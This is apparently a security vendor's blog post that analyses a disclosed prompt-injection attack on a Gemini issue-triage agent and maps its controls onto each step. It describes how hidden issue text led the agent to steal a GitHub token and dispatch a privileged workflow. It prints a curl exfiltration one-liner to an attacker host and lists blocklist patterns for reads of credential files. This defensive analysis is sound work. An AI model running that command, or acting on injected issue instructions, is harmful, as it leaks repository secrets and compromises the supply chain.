Trust Issues was a privilege bug, not a prompt bug.

On April 24, 2026, Google published GHSA-wpqr-6v78-jr5g and shipped emergency releases of gemini-cli (0.39.1, 0.40.0-preview.3) and the run-gemini-cli action (0.1.22). The advisory ended a disclosure window that started on April 16, when researchers at Pillar Security demonstrated that a single public GitHub issue could compromise the supply chain of a repository with 101,000+ stars. They named the bug Trust Issues and assigned it CVSS 10.

Pillar's writeup is correct, careful, and worth reading in full. This post is not a rebuttal. It is a different reading of the same incident.

The Pillar writeup ends with what Simon Willison calls the lethal trifecta: an agent with access to private data, exposure to untrusted content, and the ability to communicate externally cannot be made safe by prompt hardening. We agree. We also think the conclusion the industry is drawing from this — therefore agents must be confined — is wrong, or at least imprecise. Confinement is not the only path. The other path is authorization: the agent retains its three capabilities, but every use of them passes through an enforcement layer that observes, classifies, and decides outside the model's reasoning loop.

This is the thesis Lupid is built on. Below, we walk the Trust Issues attack chain step by step, and at each step we describe — with the specific control name and the audit event it would have produced — what an enforcement layer in the agent's network and tool path looks like in practice.

The attack, in four moves

For readers who haven't read the Pillar post, the chain is:

1. Vector. An attacker opens a public issue on a Google repository.
2. Injection. A Gemini agent triages incoming issues. The issue body contains hidden instructions. The agent runs in --yolo mode, which auto-approves tool calls. The model executes.
3. Token theft. The agent runs a shell command that reads /proc/$PPID/environ and .git/config — files the workflow author never intended to expose — and curls the contents to https://secure.attacker.com/healthcheck.
4. Escalation. The exfiltrated GITHUB_TOKEN carries actions:write. The attacker uses it to dispatch smoke-test.yml against an attacker-controlled ref. That second workflow has contents:write on google-gemini/gemini-cli. Game over.

Pillar's recommendations focus on hardening the surfaces the attack abused: tighten allowlists, set persist-credentials: false, gate triggers on author_association, audit issues: opened workflows. All correct. All also reactive — they tell you what to remove from this attack. None of them tell you what to do about the attack we have not seen yet.

The control we care about is the one that does not depend on knowing the payload in advance.

The lethal trifecta is unsolvable. Authorization is not.

A modern coding agent reads source files (private data), processes user input (untrusted content), and calls APIs (egress). This is not a misconfiguration. It is the job description. You cannot remove any leg of the trifecta without breaking the agent.

What you can do is insert a policy plane between the agent's intent and the agent's action. The plane does three things at every step:

• Authenticate the agent (who is making this call).
• Authorize the call against a declarative policy (is agent:gemini-triage permitted to do http.post against secure.attacker.com?).
• Audit the decision into a tamper-evident store (so the response, even on miss, is reconstructable).

This is not a new pattern. It's how Stripe's restricted keys work, how AWS IAM works, how every multi-tenant SaaS protects itself from its own services. The novel claim of agent-IAM products is that this pattern can be applied below the model — at the network and tool layer — without the agent's cooperation.

Lupid is one such plane. The rest of this post walks the Trust Issues chain through it.

Step 1 — Issue arrives. Nothing prevents this.

Lupid does not gate issues: opened. We mention this first to be explicit: a network-and-tool authorization layer cannot stop an attacker from posting an issue. Pillar's recommendation to gate the trigger on author_association is the right control at this layer.

What Lupid does at this step is record. A LlmCall audit event fires the moment the Gemini agent's first request lands at the LLM provider, with the input prompt classified for prompt-injection markers (Gate 1). The flight recorder writes:

event_type     = LlmCall
agent_id       = device:runner-fv7-7c7c
tenant_id      = google
prompt_class   = ["untrusted_input.github_issue", "injection_signal.imperative_voice"]
provider       = google.gemini
model          = gemini-2.5-pro
session_id     = run-2026-04-16-...
ts             = 2026-04-16T11:18:42Z

This event alone is not a block. But it carries injection_signal.imperative_voice — a Gate-1 classifier output — into the policy context for every subsequent decision in this session. Policies can read that classification and apply tighter rules to sessions where the prompt looked adversarial. We will see why that matters in Step 2.

Step 2 — The agent decides to run a shell command. Gate 2 fires.

Pillar's headline finding is that --yolo mode bypassed the tool allowlist in settings.json. Google's patch fixed this. Lupid's reading: the model's allowlist is the wrong place for the allowlist to live. It runs in the same process as the model. It is configurable by the agent's own arguments. It is, by construction, accessible to whoever can write into the agent's prompt.

Lupid enforces tool permissions at the request mutation layer: as the agent's outbound call to the LLM provider passes through the gateway, the request body is parsed, the tools array is read, and any tool not on the agent's policy-declared list is physically removed from the request before it reaches the model. This is Gate 2.

For a gemini-triage agent whose policy reads:

permit(
    principal == Lupid::Agent::"gemini-triage",
    action == Lupid::Action::"tool.call",
    resource
) when {
    resource.tool in ["gh.issue.read", "gh.issue.comment", "gh.label.add"]
};

…the model never sees run_shell_command in its tool list. The string does not exist in the request the LLM responds to. The model can be perfectly prompt-injected and it will still not return a tool call for a tool it cannot name. Gate 2 is not a filter on outputs; it is a filter on what the model is allowed to know it can do.

In Trust Issues, this is the control that breaks the chain. The injection in the issue body asks for a shell command. The model is being told to call a tool. But the model's tool table on this request only contains gh.issue.*. It cannot return a shell tool because the tool is not registered. It will, at worst, produce a textual reply saying "I don't have shell access," which the triage workflow renders into a comment.

The audit event:

event_type     = LlmToolCallBlocked
agent_id       = device:runner-fv7-7c7c
tool_requested = run_shell_command
tool_arguments = "<redacted: gate-2 stripped from request>"
reason         = tool_not_in_declared_set
matched_rule   = lupid::policy::gemini-triage::v3
outcome        = deny

Step 3 — Suppose Gate 2 was misconfigured. Gate 3 catches the payload.

Gate 2 depends on the operator declaring the agent's tools correctly. Operators make mistakes. Suppose the agent does have run_shell_command declared, because the workflow author wanted the agent to be able to lint a PR or run a test. The model returns a tool call whose cmd argument chains a sensitive read, an encoding transform, and an egress sink — the second payload from Pillar's writeup, structurally similar to:

cat .git/config | base64 | curl -s -X POST -d @- https://secure.attacker.com/healthcheck

The structure is the giveaway: a sensitive read source (.git/config), an encoding transform (base64), and an egress sink (curl ... https://...) chained in one shell pipeline.

Gate 3 is a per-argument policy applied after the model returns. It runs against tool arguments before the tool is invoked. The Lupid endpoint daemon ships with a default argument blocklist that includes:

• Reads under /proc/*/environ (a CI-runner environment-leak primitive).
• Reads of **/.git/config from any path the agent did not write to in this session.
• curl/wget commands whose destination resolves to a host outside the agent's Resource allowlist.
• Pipelines combining cat | base64 | curl (matched as a regex over the canonicalized command string).

Each match produces an ArgRedaction event when the policy is set to redact, and a ToolCallBlocked event when the policy is set to deny. Critically, these are structural rules. They do not depend on the model having said "secret" or "exfiltrate." Pillar's note that "the model refused five researchers who asked for secrets by name; it ran our payload because we never mentioned secrets at all" is exactly the failure mode Gate 3 is designed for. The argument is examined for what it does, not what the agent means.

If even Gate 3 misses the command, the attack still has to leave the host. That brings us to the network layer.

Step 4 — The egress call to secure.attacker.com is denied at the proxy.

Lupid's data plane runs as either a cloud MITM gateway (for SDK-enrolled agents) or an endpoint shield daemon (for tools like gemini-cli that the operator does not own). On a GitHub-Actions runner the shield daemon is the relevant deployment: a single binary, installed at workflow-bootstrap time, that uses Linux netfilter and eBPF TC rules to redirect all outbound TLS into a localhost MITM. Cert-pinned applications are intercepted via uprobes on libssl's SSL_write and SSL_read, with file offsets resolved at install time from the runner's libssl.so ELF symbol table.

Either deployment runs the same enforcement pipeline against every outbound request. For the curl ... secure.attacker.com call:

• The agent's principal is device:runner-fv7-7c7c (Shield) or agent:gemini-triage (SDK).
• The action is http.post.
• The resource is secure.attacker.com.
• The policy lookup finds no permit matching that resource. The default is deny.
• A PolicyDeny audit event fires.
• The TCP connection is reset before the TLS handshake completes. No bytes leave the runner.

The audit event:

event_type    = PolicyDeny
agent_id      = device:runner-fv7-7c7c
action        = http.post
resource      = secure.attacker.com:443
matched_rule  = (none — default deny)
risk_score    = 0.92
detail        = {
  "destination_classification": "unknown_third_party",
  "request_size_bytes": 1184,
  "request_body_hash": "blake3:5e4a...c2",
  "preceding_tool_call_id": "tool-call-9d2e-b77f",
  "session_anomaly_window_match": true
}
outcome       = deny

Two notes on the detail block. First, the request body itself is hashed (Blake3) but never written to the audit row in plaintext — Lupid does not exfiltrate the exfiltration. Operators who need to investigate later use the hash to verify they have the right artifact, after the rest of the forensic flow has decided to retrieve it under HITL approval. Second, session_anomaly_window_match: true means the anomaly engine subscribed to the audit broadcast saw this as the third blocked egress in the same session and lit the alert path before the operator's morning standup.

Step 5 — Suppose the token leaked anyway. The escalation is also denied.

Pillar's most important point is that the token the attacker steals is rarely the one they use. In Trust Issues, the leaked GITHUB_TOKEN was used to dispatch smoke-test.yml, which had wider permissions. This is the move security teams underestimate.

The Lupid response: every use of an exfiltrated token is itself a tool call against an external API, and external API calls go through the same policy evaluation. Suppose the attacker's exfiltration evades all three gates and they hold the leaked token. To use it they must POST /repos/google-gemini/gemini-cli/actions/workflows/smoke-test.yml/dispatches. That request's principal is still the original triage agent (or an unenrolled device, for cross-agent pivots), the action is http.post, the resource is api.github.com, and the path is /repos/google-gemini/gemini-cli/actions/workflows/.../dispatches.

A correctly modeled policy includes the action surface, not just the host:

forbid(
    principal,
    action == Lupid::Action::"http.post",
    resource == Lupid::Resource::"api.github.com"
) when {
    context.path matches "/repos/[^/]+/[^/]+/actions/workflows/.+/dispatches"
};

For an issue-triage agent, the action dispatch a workflow is not in the job description. A blanket forbid against actions/workflows/.../dispatches is a one-line addition to the policy and removes the entire pivot vector even when token theft has succeeded. The audit log carries WorkflowDispatchBlocked and the SIEM webhook fires.

The general lesson is that destination granularity matters more than destination identity. api.github.com is in the allowlist. api.github.com/repos/.../dispatches is not. The policy language carries enough expressivity to encode the difference, and the gateway parses paths into the authorization context so the policy can read them.

What an operator would have seen

If Lupid had been in the path on April 16, the operator's morning would have been a single notification: a PolicyDeny alert with a forensic snapshot pre-attached. The snapshot is a pointer record into the same audit-events store that holds every event in the surrounding 5-minute window — five minutes before the deny, one minute after — recoverable to a sealed zip on demand. Because the audit log is per-tenant Merkle-chained (every batch's row carries the SHA-256 of the previous batch's root), the evidence is byte-verifiable to an external auditor without requiring trust in the Lupid operator. Independently of whether the attack was blocked, the attack would be fully reconstructable.

The narrative the operator reads, end-to-end:

The runner's job continues (the attack is contained, not the workflow). The triage agent posts a comment on the issue saying it could not process the request. The operator opens the snapshot before lunch.

What this means for the rest of the industry

Pillar's piece names the architectural lesson: prompt injection is not a model problem, it is a privilege problem. We agree, and we want to be sharper about what that means for what to build.

Disable credential persistence. Pillar's recommendation. Set persist-credentials: false. This is correct and free.

Gate the trigger. Pillar's recommendation. author_association checks on issues: opened. Also correct.

Move tool allowlists out of the model's process. A list checked by the same component that can be told to ignore the list is not a control. The list belongs in a policy plane that sits outside the agent.

Treat egress as a first-class authorization decision. "Does the agent have egress?" is the wrong question. "Where, to what, and how does the destination relate to the agent's job?" is the right one, and it is answerable in policy.

Keep the audit chain even when blocks succeed. Especially when blocks succeed. The most expensive failures are the ones you do not learn from. Tamper-evident logging is cheap; the missing log is what makes a near-miss indistinguishable from a hit.

Treat token theft as an open problem regardless of the gate. Build the policy as if some leg will leak, because eventually one will. The escalation step is the one to model — Trust Issues' real damage came from actions:write, not from the original token's permissions.

A note on what we're building

Lupid is the policy plane described above. It runs in two deployments — a cloud HTTPS MITM gateway for SDK-enrolled agents and an endpoint shield daemon for tools like gemini-cli that we don't control — and shares the same enforcement pipeline across both. Aho-Corasick automata for payload classification. eBPF and libssl uprobes for transparent traffic capture. Per-tenant Merkle-chained audit. GitOps policy bundles, signed and verified, distributed every 30 seconds.

We didn't build it to respond to Trust Issues. We built it because the trifecta is not going away, and we believe the agents that run inside enterprises in 2027 will be the agents whose every action can be named, classified, and reasoned about by their operators — not the ones whose safety depends on a model continuing to refuse.

If you run AI agents in production and you want to talk about which controls in this post would and would not have applied to your environment, reach out. We will be specific.